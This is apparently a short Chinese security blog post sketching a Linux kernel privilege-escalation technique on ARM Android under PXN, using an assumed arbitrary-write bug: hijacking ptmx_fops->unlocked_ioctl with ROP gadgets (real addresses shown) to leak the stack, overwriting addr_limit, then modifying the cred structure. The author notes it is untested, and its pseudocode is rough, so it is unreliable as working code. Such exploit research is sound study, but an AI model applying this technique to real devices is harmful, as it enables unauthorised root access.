Retme的未来道具研究所

世界線の収束には、逆らえない

在 linux 内核 PXN开启且代码段只读开启的前提下,如果我们获得了任意地址写的能力 , 怎么提权呢。。。


纯YY,然而并没有实验


ret2user是不行了,安装一个syscall调用commit_creds也不行吧,sys_call_table也是不能改的。一种思路是:


1.泄露栈地址

2.更改addr_limit -> 读写任意地址

3.读取到task_struct, cred

4.修改cred结构体


首先可以写 ptmx_fops->unlocked_ioctl  指向 rop,理想的rop序列是这样的:



mov r0,sp
bx lr


这样就能泄露出栈地址了。比如我在shamu里面找到了下面这条,就是比较理想的 



0x00bdf3d1 :  mov r0, sp ; stm r0!, {r0, r3, r4, r6} ; bx lr



但如果实际找到的序列是类似这样的:

   0xc04183c9 <__ksymtab_input_mt_report_pointer_emulation+1>:  mov     r0, sp
   0xc04183cb <__ksymtab_input_mt_report_pointer_emulation+3>:  stmia   r0!, {r0, r5}
   0xc04183cd <__ksymtab_input_mt_report_pointer_emulation+5>:  add     r5, pc, #380    ; (adr r5, 0xc041854c <__ksymtab_ip6t_register_table+4>)
   0xc04183cf <__ksymtab_input_mt_report_pointer_emulation+7>:    stmia   r0!, {r1, r6}
   0xc04183d1 <__ksymtab_input_mt_report_slot_state+1>: blx     r1


最后 blx R1 ,所以R1要设置好返回地址,vfs_ioctl + XX


int fd = open("/dev/ptmx");

int sp = ioctl(fd,_ptr_vfs_ioctl,0);
sp = sp & 0xFFFFE000;

int ptr_addr_limit = sp+0x8;

trigger_write_kernel(ptr_addr_limit,0xffff0000);


然后就可以用put_user/get_user  去读写任意地址了.读取到task_struct并且改cred结构体就可以了